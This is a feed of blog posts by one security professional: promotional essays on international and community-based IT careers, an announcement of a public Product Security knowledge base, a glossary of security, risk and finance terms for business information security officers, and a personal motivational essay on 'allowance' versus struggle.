Forem: Ivan Piskunov

The International Career Layer: What Cross-Border Communities Actually Change

Ivan Piskunov — Sat, 11 Apr 2026 22:00:00 +0000

Going global is not only about relocation. It is about learning how to translate your value across markets.

A lot of IT professionals become technically strong long before they become internationally visible.

They know how to ship.
They know how to troubleshoot.
They know how to build, secure, test, automate, and improve systems.

But their professional identity is still local.

Their references are local.
Their communication habits are local.
Their visibility is local.
Even their understanding of what “strong” looks like is often based on one company, one city, one market, or one language environment.

That works — until it doesn’t.

At some point, many professionals start asking new questions:

How do I position myself internationally?
How do I communicate my value to people outside my immediate market?
How do I build a network that is not limited to one geography?
How do I become more credible in global conversations?
How do I navigate new environments if I relocate, work remotely, or collaborate across borders?

This is where the international layer of a career starts.

And no, the international layer is not just about collecting foreign contacts.
It is not about adding “global” to your headline.
It is not about posting flags and airport photos.

It is about something more practical: becoming understandable, relevant, and credible across different professional environments.

A strong cross-border community helps with that in several ways.

First, it improves how you communicate your work.

Many talented engineers are under-recognized not because they lack ability, but because they explain their work in a narrow or market-specific way. They can describe tools. They can list responsibilities. But they struggle to frame impact, tradeoffs, and outcomes in a way that travels well internationally.

Being around professionals from different countries, companies, and backgrounds forces clarity. It pushes you to speak in terms that are transferable.

Second, it exposes you to different standards.

What looks advanced in one market may look basic in another.
What feels impressive in one environment may be table stakes elsewhere.

That is not bad news. It is extremely useful news.

Cross-border communities help professionals update their internal benchmark. They learn what global peers care about, how mature teams communicate, how leadership is perceived, and what patterns are actually respected across industries.

Third, it expands opportunity surface area.

The most valuable part of international networking is not immediate gain. It is optionality.

You meet people who open new lines of thought:
a project idea,
a speaking opportunity,
a collaboration,
a referral,
a partnership,
a market insight,
a perspective you would never get from your current bubble.

Optionality is one of the most underrated career assets in tech.

Fourth, it gives professionals a softer landing in periods of transition.

That matters for relocants, expats, remote-first workers, and anyone trying to rebuild momentum in a new environment.

When people move between countries or shift into global work, the challenge is not purely technical. It is social, cultural, and communicational. You need new reference points. You need people who understand the reality of adaptation. You need rooms where questions about positioning, language, confidence, and market expectations are normal.

That is why good international communities should not limit themselves to narrow technical talks. They should also create space for practical growth: communication, personal brand, IT English, cross-cultural interaction, and professional confidence.

The best global communities do not erase local identity.
They make it portable.

That is a major difference.

A strong professional does not become “less themselves” in an international setting. They become easier to understand, easier to trust, and easier to collaborate with across borders.

At Grow Cluster, this is one of the ideas behind the community we are building: not just a place to meet people from different countries, but a place to turn international connection into real professional value.

Because global growth is not magic.
It is structure, exposure, communication, and repeated contact with the right people.

And for many professionals, that layer can become the difference between having a good technical profile and having a career that can move.

Closing note: If international growth matters to you — even if you are not relocating right now — follow Grow Cluster on DEV. The global layer of a career should be built before you urgently need it.

I Built a Product Security Knowledge Base — A Public Reference System for Engineers, Architects, and Security Leaders

Ivan Piskunov — Tue, 07 Apr 2026 10:31:34 +0000

There is no shortage of security content on the internet.

There are blog posts, vendor docs, conference talks, GitHub repositories, whitepapers, checklists, cheat sheets, diagrams, bookmarks, saved screenshots, half-finished notes, and “I should come back to this later” tabs that quietly die in the browser.

The problem is not that information is missing.

The problem is that useful Product Security knowledge is often fragmented, uneven, and hard to navigate when you actually need it.

And that becomes a serious issue the moment you work across modern engineering environments.

Because Product Security is not one narrow box. It lives at the intersection of Application Security, API Security, DevSecOps, cloud security, Kubernetes, software supply chain security, secure architecture, identity, platform access, abuse prevention, governance, and leadership. In real life, those areas do not stay neatly separated. They overlap constantly.

One hour you are thinking about secrets exposure in CI/CD, runtime trust boundaries, or GraphQL abuse cases. The next hour you are discussing ownership, control maturity, risk communication, review quality, metrics, or how to make security useful instead of performative.

That gap between scattered technical knowledge and real-world usability is exactly why I built this project.

Why I built it

Over time, I kept collecting material that was too useful to lose.

Review patterns. Security references. Architecture notes. Practical reminders. Hardening ideas. Learning paths. Interview prep material. Leadership frameworks. Cloud and Kubernetes notes. Product abuse scenarios. Threat-modeling anchors. Small pieces of knowledge that mattered, but were spread across too many places.

At first, this was just for me.

But after enough years in security, one thing became obvious: this problem is not personal. It is structural.

A lot of engineers, AppSec specialists, DevSecOps practitioners, architects, and Product Security leaders are trying to solve the same issue:

How do you build a practical mental map of Product Security without drowning in disconnected resources?

That question eventually pushed me to stop treating my material as private notes and start turning it into something more useful.

So I built a Product Security Knowledge Base — not as a blog, not as a random archive, and not as a hype-driven list of tools, but as a public reference system.

The goal is simple:

to make Product Security knowledge easier to find, easier to understand, and easier to use in real engineering work.

What makes this different

I did not want to create another content dump.

There is already enough noise in security.

What I wanted instead was a structure that helps people move with more confidence through a very broad domain.

That means this project is designed to work through multiple entry points, depending on what a person needs at a given moment.

Sometimes you need:

a fast way to get productive in a topic you do not fully own yet
a domain-based section for a specific technical area
a reference for diagrams, terms, or architecture patterns
a review checklist before a security discussion
a clearer way to connect engineering depth with leadership-level security thinking

That is why I think of this project less as “documentation” and more as a reference system.

It is meant to reduce friction.

Less time lost jumping between disconnected tabs.
Less energy wasted trying to reconstruct context from memory.
Less dependence on chaotic bookmarking.
More clarity.
More structure.
More practical signal.

What is inside the current version

The current beta already covers a broad Product Security surface.

It includes areas such as Application Security, API Security, CI/CD and software supply chain security, infrastructure and cloud security, containers and Kubernetes, identity and platform access, frontend security, abuse scenarios, governance, leadership, and practical learning paths.

Just as importantly, it is not organized as one long archive.

I put real effort into navigation, because navigation is part of usefulness.

The project includes structured entry points like:

reading paths
domain-based navigation
diagram references
glossary support
visual conventions
practical review zones
leadership-oriented sections for more senior security work

That part matters to me a lot.

Because a knowledge base is only valuable when people can actually move through it under real pressure — before an architecture review, during onboarding, while preparing for an interview, when designing a control, when explaining risk to leadership, or when trying to connect one technical domain to another without starting from zero.

Who this is for

I built this with several audiences in mind.

Engineers and hands-on practitioners
People who need practical guidance, review direction, hardening ideas, and faster navigation across security domains that touch product and platform work.

Architects and senior technical reviewers
People who care about how security controls connect to design choices, trust boundaries, runtime behavior, delivery pipelines, and system architecture.

Product Security managers and leaders
People who need more than technical depth alone — people who also need operating models, ownership thinking, review patterns, maturity framing, and a more structured way to translate security into action.

Learners and ambitious builders
People trying to grow across AppSec, cloud, DevSecOps, product abuse, and modern security engineering without being overwhelmed by fragmentation.

What I want this project to become

This is not a finished monument.

It is a growing system.

The current version is already usable, but I do not see this project as something static. I want it to keep improving in the ways that matter most: structure, clarity, depth, signal quality, and practical usability.

I also want it to become stronger through thoughtful feedback from real practitioners.

Not through noise.
Not through vanity metrics.
Not through shallow “looks good” reactions.

But through the kind of feedback that actually improves a serious security resource:

what is useful
what is missing
what is too broad
what is too shallow
what should be simplified
what should be expanded
what deserves a better entry point

The best technical resources usually do not become valuable because they are loud.

They become valuable because they are useful, structured, honest, and maintained with care.

That is the standard I want for this project.

Why I’m sharing it now

I’m sharing it now because I think it has already crossed an important threshold:

it is useful enough to help people today, even while it is still growing.

And honestly, projects like this get better when real practitioners start using them.

So if you work in AppSec, Product Security, DevSecOps, cloud security, platform engineering, API security, secure architecture, or related areas, I would genuinely appreciate your feedback.

I’m especially interested in questions like these:

Which parts feel most useful right away?
Which sections deserve deeper treatment?
What is still missing?
Which entry points work well?
Where does the structure still create friction?
What would make this more useful for real teams?

If that sounds relevant to your work, take a look.

This project started as a personal system for not losing valuable security knowledge.

Now I want it to become something bigger than that:
a practical public reference that helps engineers, architects, and security leaders work faster, think more clearly, and build stronger products.

Links

Official GitHub

Why Strong IT Careers Are Built in Communities, Not in Isolation

Ivan Piskunov — Mon, 06 Apr 2026 08:19:58 +0000

Tools matter. Skills matter. But the people around you shape your trajectory more than most professionals realize.

The tech industry loves the myth of the lone expert.

The engineer who learns everything alone. The security specialist who somehow stays ahead by reading docs in isolation. The DevOps professional who quietly becomes world-class without ever building a circle of peers.

It is a nice story. It is also incomplete.

Strong careers in tech are not built only on hard skills. They are built on environment, exposure, peer learning, and the quality of the people who challenge your thinking. Your stack matters. Your experience matters. But who stands next to you matters too.

That is especially true today, when the pace of change is brutal. New frameworks appear overnight. Security expectations evolve faster than many teams can adapt. Cloud, AI, platform engineering, QA automation, product thinking, developer experience, and compliance are no longer separate worlds. They overlap. And once disciplines overlap, isolation becomes expensive.

A strong professional community solves that problem.

Not because it gives you another chat room. Not because it adds another logo to your bio. And not because it promises “networking” in the shallow, business-card sense of the word.

A real community gives you something much more valuable: proximity to people who are solving adjacent problems, facing different market realities, and seeing opportunities you would miss on your own.

A developer learns faster when they hear how a security engineer thinks about risk.
A QA engineer grows faster when they understand how DevOps shapes delivery.
A DevOps specialist becomes more strategic when they hear product and architecture tradeoffs.
A security professional becomes more effective when they understand engineering constraints instead of throwing requirements over the wall.

This is where communities become career infrastructure.

The best professional circles create what most people are actually missing:
context, calibration, and momentum.

Context means you stop evaluating your growth inside one company bubble.
Calibration means you understand where your skills really stand in a broader market.
Momentum means you are no longer relying only on your own willpower to keep improving.

That is one of the biggest hidden advantages of serious communities: they normalize ambition.

When you spend time around people who publish, mentor, build, speak, ship, relocate, launch, lead, and help others grow, your own ceiling changes. Not because someone gives you motivation quotes, but because the standard around you gets higher.

And that changes behavior.

You ask better questions.
You present your work more clearly.
You document your achievements more carefully.
You communicate across functions more confidently.
You stop thinking only in terms of tasks and start thinking in terms of trajectory.

This is also why the difference between a noisy group and a real association matters so much.

A noisy group is reactive.
A real professional community is intentional.

A noisy group is full of random takes.
A real one builds trust through recurring conversations, quality standards, and actual contribution.

A noisy group consumes attention.
A real one compounds professional value over time.

That does not happen accidentally. It happens when a community is built around contribution, credibility, and mutual growth rather than vanity metrics.

At Grow Cluster, this is the direction we believe in: creating a serious international environment where developers, security specialists, DevOps engineers, QA professionals, architects, and other technical experts can exchange practical experience, strengthen professional visibility, and build relationships that actually matter over time.

Because careers do not grow only through effort.
They also grow through ecosystem.

And the earlier professionals understand that, the more intentionally they can build not just a better resume, but a stronger long-term position in the industry.

Closing note: If you believe technical growth should include real peer exchange, practical insight, and a stronger professional circle, follow Grow Cluster here on DEV. We are building exactly that kind of space.

BISO Glossary

Ivan Piskunov — Sun, 14 Dec 2025 03:40:00 +0000

Who This Article Is For

For leaders and practitioners working at the intersection of cybersecurity and business: BISOs, CISOs, product owners, business-unit leaders (BUs), CFOs, and anyone making decisions about risk and security investments.

The core idea of the BISO role is to translate security into the language of business—and back—so decisions weigh controls against the value/risk trade-off for a given business process. Many industry descriptions frame the BISO as a bridge between Security and the business, not a duplicate of the CISO.

What this is:

a practical, business-focused glossary for a Business Information Security Officer (BISO) — the bridge between C-suite and security/engineering. It blends terms from cybersecurity, risk, finance, strategy, privacy, legal/compliance, and operations. Definitions use American English and prefer globally recognized nomenclature.

How it was compiled: synthesis of leading frameworks, standards, and industry literature, including (non-exhaustive): NIST (CSF 2.0; SP 800-53/-61/-171), ISO/IEC 27001/27002, COBIT, CIS Controls v8, AICPA Trust Services Criteria (SOC 2), PCI DSS, FFIEC handbooks, CISA guidance, MITRE ATT&CK/D3FEND, ISACA/FAIR Institute materials, ITIL 4, major US regulations (HIPAA, GLBA Safeguards, SOX, CCPA/CPRA, SEC cyber-disclosure), vendor/cloud shared-responsibility docs, and standard finance/strategy texts (e.g., P&L, EBITDA, ROI, TCO, NPV). Also considered: user-provided finance primers for P&L/ROI/EBITDA context.

How to use it: scan by section; examples are included where they clarify executive conversations.

1) Governance, Risk & Strategy

Corporate Governance — system of rules, practices, and processes by which a company is directed and controlled; sets tone for risk, compliance, and security prioritization.
Example: Board Risk Committee charters include cyber oversight.
Risk Appetite — the amount and type of risk an organization is willing to pursue or retain to meet objectives.
Risk Tolerance — acceptable deviation from appetite for specific metrics (e.g., “≤ 1 critical data loss incident/year”).
Risk Capacity — maximum risk the enterprise can absorb before threatening viability (financial/operational constraints).
Three Lines Model — governance model: (1) business ownership/management, (2) risk/compliance oversight (incl. security), (3) independent assurance (internal audit).
Enterprise Risk Management (ERM) — coordinated approach to identifying, assessing, responding to, and monitoring enterprise risks.
GRC (Governance, Risk, and Compliance) — integrated processes/tools to align policies, risks, and controls with business objectives.
Inherent Risk — risk level absent any controls.
Residual Risk — risk remaining after controls.
Example: Phishing residual risk after MFA and training.
Control Objective — desired outcome of a control (e.g., “only authorized users access PHI”).
Compensating Control — alternative control providing equivalent protection when a prescribed control is infeasible.
Risk Register — authoritative log of risks, owners, ratings, and treatments.
Risk Treatment — avoid, reduce/mitigate, transfer/share (e.g., insurance), or accept.
Business Impact Analysis (BIA) — identifies critical processes, dependencies, and impacts, informing RTO/RPO.
Strategic Alignment — ensuring security initiatives directly support business goals/KPIs (revenue protection, growth enablement).

2) Cybersecurity Frameworks & Control Baselines

NIST CSF 2.0 — US-centric cybersecurity framework organized by Identify-Protect-Detect-Respond-Recover (plus governance), mapping to controls and outcomes.
NIST SP 800-53 — control catalog for federal/regulated environments; families like AC (Access Control), AU (Audit), SC (System and Communications Protection).
NIST SP 800-171 — requirements for protecting Controlled Unclassified Information (CUI) in non-federal systems.
CMMC — maturity model aligning with NIST 800-171 for US defense suppliers.
ISO/IEC 27001 — certifiable ISMS standard; 27002 details controls (Annex A themes like IAM, crypto, supplier security).
COBIT — governance framework for enterprise IT; focus on value delivery and assurance.
CIS Controls v8 — prioritized safeguards (“basic/ foundational/ organizational”).
MITRE ATT&CK — adversary tactics/techniques knowledge base used for detection engineering and threat-informed defense.
MITRE D3FEND — countermeasure knowledge graph mapping to ATT&CK.
SOC 2 (Trust Services Criteria) — AICPA attestation over Security, Availability, Processing Integrity, Confidentiality, Privacy (Type I vs Type II).
PCI DSS — payment-card security standard for entities storing/processing/transmitting cardholder data.

3) Security Architecture, Operations & Metrics

Zero Trust — “never trust, always verify”; continuous authz; micro-segmentation; data-centric controls.
PoLP (Principle of Least Privilege) — grant minimum necessary access.
Defense-in-Depth — layered controls across people, process, technology.
SDLC / **SSDLC** — (Secure) Software Development Life Cycle integrating security from design to deployment.
SAST / DAST / IAST / RASP — static/dynamic/interactive app testing; runtime self-protection.
SBOM — Software Bill of Materials; inventory of components for vulnerability/transparency.
EDR / XDR — endpoint/extended detection & response; correlates telemetry across hosts, network, identity, cloud.
SIEM — Security Information & Event Management; log aggregation, correlation, alerting.
SOAR — Security Orchestration, Automation & Response; playbooks to standardize/automate actions.
UEBA — User and Entity Behavior Analytics; anomaly detection.
MTTD / MTTR — Mean Time to Detect/Respond; key operational KPIs.
CVSS — Common Vulnerability Scoring System; standard severity rating for vulns.
Vulnerability Management (VM) — continuous discover-assess-remediate cycle.
Patch Management — prioritized application of updates based on risk.
Configuration Baseline / Hardening — secure configurations (e.g., CIS Benchmarks).
Red Team / Purple Team — adversary emulation; collaborative blue-red improvement.

4) Identity, Access & Data Protection

IAM — Identity & Access Management: provisioning, authn/authz, lifecycle.
IdP — Identity Provider; issues/validates credentials and tokens.
SSO — Single Sign-On; centralized authentication across apps.
MFA — Multi-Factor Authentication (e.g., FIDO2/WebAuthn, TOTP).
SAML / OAuth 2.0 / OIDC — federation and delegated auth standards (SAML assertions; OAuth tokens; OIDC adds identity layer).
Example: B2B SAML for SaaS; consumer OIDC via OAuth 2.0.
PAM — Privileged Access Management; vaulting, session control, just-in-time access.
CIEM — Cloud Infrastructure Entitlement Management; governs cloud permissions at scale.
DLP — Data Loss Prevention; detects/prevents unauthorized data movement.
Tokenization / Encryption (at rest/in transit) — data protection techniques; leverage KMS/HSM for key control.
Data Classification — labeling by sensitivity (Public, Internal, Confidential, Restricted).
PII / PHI / PCI Data — personal, health, and cardholder data categories with specific obligations.
Data Minimization — collect/retain only what’s needed for stated purposes.

5) Cloud, SaaS & Modern Infra

Shared Responsibility Model — delineates provider vs customer duties (varies by IaaS/PaaS/SaaS).
CSPM / CWPP / CNAPP — Cloud Security Posture Mgmt; Workload Protection; converged cloud-native app protection platform.
CASB — Cloud Access Security Broker; visibility/control for SaaS usage.
KMS / HSM — key management and hardware security modules.
VPC / Subnet / Security Group / NACL — cloud networking segmentation primitives.
WAF — Web Application Firewall; shields against OWASP Top 10, bots.
SRE / SLI-SLO-SLA — Site Reliability Engineering; metrics, objectives, contractual commitments.
Change Management (CAB, RFC/CRQ) — controlled change process to reduce incidents/regressions.
IaC — Infrastructure as Code (e.g., Terraform, CloudFormation) with policy-as-code guardrails.

6) Incident Management, BCP/DR & Threats

NIST 800-61 (IR) — incident response lifecycle: Preparation → Detection/Analysis → Containment/Eradication/Recovery → Post-Incident.
Playbook / Runbook — documented steps for incident handling/operations.
Tabletop Exercise (TTX) — discussion-based simulation to test readiness.
BCP / DRP — Business Continuity / Disaster Recovery Plans.
RTO / RPO — Recovery Time / Recovery Point Objectives.
Threat Intelligence (TI/CTI) — curated knowledge about adversaries, TTPs, indicators.
TTPs — Tactics, Techniques, and Procedures; attacker behavior patterns.
Phishing / BEC — social engineering to steal creds or redirect payments (Business Email Compromise).
Ransomware — malware encrypting data for extortion; countered via EDR, backups, segmentation.
Loss Event — realized incident causing financial/operational impact; basis for risk quantification.

7) Third-Party & Procurement

TPRM / SCRM — Third-Party Risk Management / Supply-Chain Risk Management.
RFI / RFP / RFQ — information request, proposal, quotation; procurement stages.
MSA / SOW — Master Services Agreement; Statement of Work.
DPA — Data Processing Addendum; defines roles (controller/processor), transfers, security.
BAA — Business Associate Agreement for HIPAA-covered data.
SIG / SIG Lite — standardized vendor security questionnaires (Shared Assessments).
SOC 1 vs SOC 2 — SOC 1: financial controls (ICFR); SOC 2: security/privacy criteria.
Pen Test Letter / ASV Scan (PCI) — third-party test attestations for compliance.
Right-to-Audit Clause — contractual right to inspect vendor controls.

8) Privacy & Legal (US-centric, business-relevant)

CCPA/CPRA — California consumer privacy rights (access, delete, opt-out of sale/share), sensitive data rules, contracts.
GLBA (Safeguards Rule) — financial institutions’ data security program requirements.
HIPAA (Privacy/Security/Breach Rules) — protections for PHI; applies to Covered Entities and Business Associates.
SOX (Section 404) — internal control over financial reporting; ITGC relevance.
SEC Cyber Disclosure — material incident and risk-management disclosures in public filings.
FERPA / COPPA / VPPA — sector-specific US privacy rules (students, children <13, video data).
DPIA / PIA — (Data) Privacy Impact Assessment for high-risk processing.
Records of Processing (RoPA) — catalog of processing activities; often required under privacy regimes.
Data Subject Request (DSR) — request to exercise privacy rights (access, delete, etc.).
Breach Notification — statutory timelines/thresholds for notifying regulators/consumers.

9) Finance, Accounting & Value (for BISO conversations)

P&L (Profit and Loss Statement) — income statement: revenue, COGS, Gross Profit, OpEx, Operating Income, Net Income.
OpEx / CapEx — operating vs capital expenditures; impacts budget approval and depreciation.
EBITDA — Earnings Before Interest, Taxes, Depreciation, and Amortization; proxy for operating performance.
Gross Margin / Contribution Margin — profitability after COGS / incremental profit after variable costs.
ROI — Return on Investment = (Gain − Cost)/Cost.
Example: \$500k loss avoidance on \$200k control ≈ 150% ROI.
IRR / NPV / Payback Period — investment evaluation metrics; discount cash flows to assess security/business cases.
TCO — Total Cost of Ownership (license, cloud, headcount, support, training, migration, de-commissioning).
ARR / MRR — Annual/Monthly Recurring Revenue (for SaaS business context).
CAC / LTV — Customer Acquisition Cost; Lifetime Value; relevant when security measures affect conversion or churn.
NRR / GRR — Net/Gross Revenue Retention; security reliability impacts renewal/expansion.
Cost of Risk (CoR) — expected annualized loss + controls + insurance — informs optimal spend.
ALE / SLE / ARO — Annualized Loss Expectancy; Single Loss Expectancy; Annualized Rate of Occurrence (classic quantitative risk).
Example: \$2M SLE × 0.2 ARO ⇒ \$400k ALE.
FAIR — Factor Analysis of Information Risk; calibrated, probabilistic loss modeling (e.g., P10/P50/P90).

10) Reporting, KPIs & Executive Communication

KPI / KRI — Key Performance Indicator; Key Risk Indicator (leading vs lagging).
Heat Map — visual of risk vs impact/likelihood; supports prioritization.
Scorecard / Dashboard — curated metrics for execs (e.g., patch SLAs, phishing fail rate, critical vulns > 30 days).
OKR — Objectives and Key Results; align security goals with business outcomes.
Materiality — threshold at which information influences investor decisions; central to SEC cyber disclosures.
Narrative Risk Story — concise, data-backed articulation of business risk and choices (accept/transfer/mitigate).

11) Data, Analytics & AI

Data Lake / Warehouse — raw vs modeled storage; informs logging/telemetry strategy.
Data Lineage — provenance/transformations; critical for auditability.
De-identification / Pseudonymization — privacy-preserving techniques.
Model Risk Management (MRM) — governance over ML models (bias, drift, explainability, security).
Prompt Injection / Model Theft / Data Exfil via LLM — AI-specific threats and controls.
Guardrails — policy and technical constraints for safe AI usage (red teaming, content filters, retrieval boundaries).

12) Operational Technology (OT) & Physical

OT / ICS — Operational Technology / Industrial Control Systems (SCADA, PLCs).
IIoT — Industrial Internet of Things; sensorized manufacturing/energy.
Zone/Conduit Model — segmented architecture for ICS safety/security.
Safety Integrity Level (SIL) — reliability measure for safety functions.
Physical Security (CPTED, Badging, Mantraps) — complements cyber controls.

13) Crypto/Fintech (select terms BISOs encounter)

KYC / AML — Know Your Customer / Anti-Money Laundering obligations; identity verification and transaction monitoring.
Custody / Cold Storage — safeguarding digital assets; key management, multi-sig, HSMs.
Stablecoin / Fiat On-Ramp — price-pegged crypto; bridges between banked funds and digital assets.
Travel Rule — information-sharing requirement for certain crypto transfers (VASP-to-VASP).

14) Common Documents & Artifacts

ISMS — Information Security Management System; policies, procedures, metrics, continual improvement.
Policy / Standard / Procedure / Guideline — top-down to detailed how-to hierarchy.
Control Matrix / RACI — maps controls to owners (Responsible, Accountable, Consulted, Informed).
Data Map / Inventory — systems, data categories, flows, locations.
Retention Schedule — how long data/artifacts are kept.
Security Requirements Traceability Matrix (SRTM) — links requirements to tests/evidence.

15) Talks BISO Should Navigate — example phrasings

“Risk Transfer via Cyber Insurance” — premiums, exclusions, retentions; align with incident playbooks and claims evidence.
“Enablement vs. Restriction” — frame controls as revenue protection (e.g., faster audits, faster enterprise deals).
“Material Incident Escalation” — crisply define thresholds, roles, and disclosure timing.

Mini-Examples (quick reference)

Compensating Control: If SaaS lacks SSO today, enforce MFA + IP allow-listing + tight off-boarding as a temporary equivalent.
ROI for Control: Implement phishing-resistant MFA; expected reduction in account-takeover loss from \$800k to \$150k on \$200k spend ⇒ 225% ROI, ~11-month payback.
Zero Trust Sound-bite for Execs: “We verify every user and device, every time, for every resource — and limit blast radius via segmentation.”

Appendix — Abbreviation Quick Table (selected)

ALE, ARO, BAA, BCP, BIA, BISO, CAPEX, CASB, CIEM, CISA, CISO, CNAPP, COBIT, CVSS, DAST, DLP, DORA, DPIA, DRP, EDR, EBITDA, ERM, FAIR, FFIEC, FIDO2, GLBA, GRC, HIPAA, HSM, IAM, IaC, ICS, IdP, IRR, ISO, ITGC, ITIL, KMS, KPI/KRI, LTV/CAC, MFA, MITRE ATT&CK, MRR/ARR, MSA, MTBF/MTTD/MTTR, NIST CSF, NPV, OIDC, OpEx, OWASP, PAM, PCI DSS, PHI/PII, PoLP, RACI, RASP, RFC/CRQ/CAB, RFP/RFI/RFQ, RoPA, ROI, RPO/RTO, SBOM, SEC (cyber), SIEM, SIG, SLA/SLO/SLI, SOW, SRE, SRTM, SSO, SAST/IAST, SOC 1/2, SOX, TCO, TI/CTI, TTPs, UEBA, WAF, WebAuthn, Zero Trust.

BISO vs. CISO — Quick Cheat Sheet

CISO: Enterprise-level security strategy and policy; runs the security program; reports to the board/CEO.

BISO: Lands the CISO’s strategy within a specific BU, maps risks to P&L, and closes the gap between product/sales/operations and the security function.

How a BISO Explains Security’s Value

Tie controls to business impact: What exactly are we protecting (process/revenue/obligations)?
Quantify risk: In dollars, downtime, and penalties—not just “red/yellow/green.”
Show alternatives: Transfer (insurance), avoid, reduce, accept—and the cost of each path.
Agree on metrics: KRI/KPI that the process owner understands.
Lock in accountability: RACI and clear business-side risk owners.

Conclusion

A BISO is, above all, a translator of value: putting security in service of the business, not the other way around. Learn the terms, align on metrics, and speak the business’s language—so you become the professional who makes the company both safer and more successful.

From Struggle to Flow: A New Paradigm for Success

Ivan Piskunov — Thu, 04 Dec 2025 04:10:00 +0000

What if the relentless grind and exhausting struggle aren't the only paths to success? For years, I championed the "self-made man" ethos, believing that achievement was born solely from pain and overcoming. But I discovered a more elegant, powerful way: the path of Allowance. This isn't about cheats or hacks; it's about understanding the fundamental mechanics of reality. It’s a shift from forcing outcomes to allowing them, transforming life from a battle for survival into a captivating game you are designed to win. This is the most important career—and life—lesson I've ever learned.

Introduction: A Departure from the Known

This is not my typical article. For the first time, I'm stepping away from my own rules to publish something that has no direct link to cybersecurity. Yet, in my view, this might be the most crucial piece I've ever written—but only for those who are ready to hear it.

My entire career and life journey, from my university days (2005/2010) to the present, which I've detailed in my previous publications, can be characterized as a fight. It was a battle for a better position, a climb to the top through hardships, achieving through sheer force of will, building strength through pain, and forging character by confronting obstacles. This is a real, functional path. It's one of the most common, logical, and often-chosen routes. However, as I discovered much later, it is not the most efficient or optimal one.

The "Self-Made Man": Forged in Fire

For many years, I lived by the "self-made man" model: pain was the fuel for growth, lack was the primary motivator, and the thirst to prove my worth to myself and the world was my driving force. Problems and challenges were my personal growth zone.

This path did make me who I am today. It tempered my character, developed specific skills, shaped my value system, set my priorities, and cleared my surroundings of the "crab bucket" mentality. This experience is invaluable to me. The contribution of this path deserves respect and honor. It's like a champion's belt, earned through pain, sweat, blood, countless trainings, limitations, and sacrifices. It is, unquestionably, a path for the strong.

But I used to see it as the only option for achieving the results I wanted. Through my search for answers, guided by mentors I met along the way, personal reflection, training, a vast library of books, testing hypotheses, and discussions with people of different mindsets and wealth, I finally realized: It is not the only way.

The Trap of the "Struggle" Mindset

The paradigm of "limited resources"—money, time, health, influence, fame—is the default operating system for most people on the planet. This breeds competition, the idea of scarcity, and inherent greed. It's the root cause of conflicts, inequality, and the feeling that you must wrestle your share from the world.

In this game, the challenges keep getting bigger, the stakes higher. You gain more, but you have to overcome even more. You become more resilient, but new blows test your limits. Iteration after iteration, it often feels like you're always one step behind. It's a game you can't truly win. Any fighter eventually gets tired on the ring; any runner has to stop. I experienced burnout, apathy, and spent months in a depressed state. I fell, figuratively speaking, but I got up, kept moving, stumbled again, failed, but always pushed forward. Yet, each time, it demanded more and more energy. This is the price of the "Struggle" path.

The Alternative: The Power of "Allowance"

In opposition to "Struggle" (force, pressure, conquest) stands the concept of "Allowance." This is not a popular model, though it has existed since the beginning of time. There is no "secret" here. I'm not revealing anything that wasn't already known.

"Allowance" is uniqueness over competition. It is the assumption of abundance and sufficiency of all necessary resources, versus the assumption of scarcity. It's not about taking something away, but about creating something new of your own. You earn more, buy a better car, gain respect and recognition not through a meat grinder, but by leveraging timely opportunities, unique coincidences, unexpected surprises, synchronicities, and unanticipated help.

This is the path of least resistance. It's the way of the diplomat who leads successful negotiations, not the conqueror with an army.

Shifting Your Vector: From "Running From" to "Moving Toward"

For a long time, I was moving "Away From" something: away from the cold climate of my hometown, away from low salaries, broken roads, and the poverty mindset of my then-surroundings.

However, the more optimal and truthful path is to move "Toward" something: toward my dream home, personal comfort, the ability to travel the world without limits, toward starting my own company, creating a legacy. This is the path of creation, of building something better, something new.

Consider these two scenarios:

Frantically searching for a way to make a lot of money because you can't pay rent, or risking everything on a business to escape debt.
Looking for a new job because you've outgrown your old one, starting a business because you are now capable, beginning something new for self-realization and increased comfort.

One path comes from desperation and external pressure. The other comes from inspiration and an internal drive for self-realization. This aligns perfectly with Maslow's hierarchy of needs: the path from scarcity moves from the bottom of the pyramid, while the path of self-realization aims directly for the peak. The results might look similar, but the quality of life during the journey will be vastly different.

What "Allowance" Really Is (And Isn't)

"Allowance" can be viewed from two angles:

The Psychological: Changing your mindset, limiting beliefs, and reaction patterns. Re-evaluating personal values, setting your own priorities, boosting self-esteem, changing your environment, and working through guilt, trauma, and triggers from the past.
The Metaphysical: Visualizing your future, understanding that "earthly life is like a video game," and learning the laws of the universe—not as mass-knowledge, but as something verified by your own personal experience. This includes practices like visualization, meditation ("The Hour of Peace" to shift brain waves to Alpha), scripting future events, and practicing gratitude.

This is not about using "cheat codes" to wake up one day with a pile of money and fame. It's about deeply understanding the game's mechanics and using them effectively. It’s about dramatically increasing the effectiveness of your actions to complete the game with a top-player rating.

"Allowance" is Not a Magic Pill

Let's be clear: "Allowance" is not a magic pill. It is a path that demands significant mental discipline, a paradigm shift in thinking, and the concentration of your mental faculties. The effort required can be as substantial as on the path of "Struggle," but it's directed at different targets.

In the beginning, it will feel like a difficult workout for a gym novice. You will likely experience temporary discomfort, a loss of confidence, overwhelming doubts, and the fear of losing everything. This is normal. This is the "Old You" being replaced by the "New You." It's a necessary stage of personal transformation where the truth of your desires is tested, along with your faith in the end result and your ability to cultivate your best qualities: discipline, persistence, decisiveness, and the ability to let go of the past.

Therefore, "Allowance" is not a cheat code that instantly alters your 3D reality. It's the same life in the physical sense—the seasons will still change, and the day will still have 24 hours. The difference is similar to how Bill Gates or Pavel Durov spends their day versus the routine of an hourly employee at McDonald's or a truck driver.

By choosing "Allowance" over "Struggle," I don't become less. I don't lose my "self-made" status. In the eyes of others, I am still the person who rose from the bottom, built himself, his business, his body, his relationships, and created his legacy. However, I no longer pay an exorbitant price for the result. I don't need "a pile of money first" to start something. The effectiveness of my actions becomes 3x, sometimes 5x or 10x greater than if I had proceeded through "struggle."

So, this is not about "sitting on the stove at home" or "waiting for manna from heaven." It is not passivity, as it might seem to the average person. It is an active stance, but one that originates from a different source—where much of the work is often hidden from view.

The Unspoken Truth

I'm not afraid to write about this because there is no "secret" to be afraid of revealing. Not all readers will understand. Many might dismiss it, accuse me of heresy, or label me a pseudo-guru. That is their reaction, their choice. I am not proving, persuading, or selling anything.

This article is simply an expression of knowledge I have felt and personally tested. For most people, even with a step-by-step guide, this will seem complex, implausible. You can't just read about it; you have to realize it. In Zen Buddhism, truth cannot be transmitted with words; it can only be realized internally.

This publication is not a practical guide. It is an explanation that you can achieve success in the broadest sense of the word in a more optimal way. This doesn't mean you won't have to work. You will. The challenges will be serious, but they won't come from a place of compulsion or fear. They will feel like an interesting adventure, a complex but engaging game with a predictable result.

